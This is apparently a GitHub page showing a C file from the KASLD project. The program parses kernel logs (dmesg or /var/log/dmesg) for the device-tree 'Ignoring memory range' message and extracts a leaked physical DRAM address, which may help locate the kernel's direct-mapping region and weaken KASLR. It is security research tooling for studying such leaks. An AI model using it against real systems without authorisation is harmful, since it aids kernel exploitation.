-
Notifications
You must be signed in to change notification settings - Fork 45
/
dmesg_early_init_dt_add_memory_arch.c
147 lines (119 loc) · 3.48 KB
/
dmesg_early_init_dt_add_memory_arch.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// Flattened Device Tree (FDT) driver prints "Ignoring memory range" error if
// the requested memblock range is higher than max physical memory or smaller
// than __virt_to_phys(PAGE_OFFSET).
//
// For example, early_init_dt_add_memory_arch(0x80000000, 0x80000) on a system
// with DRAM start of 0x80200000 will print:
//
// [ 0.000000] OF: fdt: Ignoring memory range 0x80000000 - 0x80200000
//
// On RISCV64 this may occur as the first 2MB are reserved for OpenSBI.
//
// On systems with a known phys->virt offset mapping, this may be used to
// identify the kernel virtual address region used for direct mapping.
//
// Requires:
// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or
// readable /var/log/dmesg.
//
// References:
// https://elixir.bootlin.com/linux/v6.1.1/source/drivers/of/fdt.c#L1251
// https://patchwork.kernel.org/project/linux-riscv/patch/20211123015717.542631-2-guoren@kernel.org/#24615539
// ---
// <bcoles@gmail.com>
#define _GNU_SOURCE
#include "include/kasld.h"
#include "include/syslog.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
unsigned long get_phys_addr_dmesg_early_init_dt_add_memory_arch() {
char *syslog;
char *endptr;
char *substr;
char *line_buf;
char *addr_buf;
const char *needle = "OF: fdt: Ignoring memory range 0x";
int size;
unsigned long addr = 0;
printf(
"[.] searching dmesg for early_init_dt_add_memory_arch() ignored memory "
"ranges ...\n");
if (mmap_syslog(&syslog, &size))
return 0;
substr = strstr(syslog, needle);
if (substr == NULL)
return 0;
line_buf = strtok(substr, "\n");
if (line_buf == NULL)
return 0;
/* OF: fdt: Ignoring memory range 0x80000000 - 0x80200000 */
// printf("%s\n", line_buf);
addr_buf = strstr(line_buf, " - ");
if (addr_buf == NULL)
return 0;
addr = strtoul(&addr_buf[2], &endptr, 16);
if (addr >= KERNEL_VAS_END)
return 0;
if (addr) {
printf("leaked DRAM physical address: %#018lx\n", addr);
return addr;
}
return 0;
}
unsigned long get_phys_addr_dmesg_log_file_early_init_dt_add_memory_arch() {
FILE *f;
char *endptr;
char *substr;
char *addr_buf;
char *line_buf;
const char *path = "/var/log/dmesg";
const char *needle = "OF: fdt: Ignoring memory range 0x";
unsigned long addr = 0;
char buff[BUFSIZ];
printf("[.] searching %s for early_init_dt_add_memory_arch() ignored memory "
"ranges ...\n",
path);
f = fopen(path, "rb");
if (f == NULL) {
perror("[-] fopen");
return 0;
}
while ((fgets(buff, BUFSIZ, f)) != NULL) {
substr = strstr(buff, needle);
if (substr == NULL)
continue;
line_buf = strtok(substr, "\n");
if (line_buf == NULL)
break;
/* OF: fdt: Ignoring memory range 0x80000000 - 0x80200000 */
// printf("%s\n", line_buf);
addr_buf = strstr(line_buf, " - ");
if (addr_buf == NULL)
break;
addr = strtoul(&addr_buf[2], &endptr, 16);
if (addr >= KERNEL_VAS_END) {
addr = 0;
break;
}
if (addr) {
printf("leaked DRAM physical address: %#018lx\n", addr);
break;
}
}
fclose(f);
return addr;
}
int main() {
unsigned long addr = get_phys_addr_dmesg_early_init_dt_add_memory_arch();
if (!addr)
addr = get_phys_addr_dmesg_log_file_early_init_dt_add_memory_arch();
if (!addr)
return 1;
printf("possible PAGE_OFFSET physical address: %#018lx\n", addr);
return 0;
}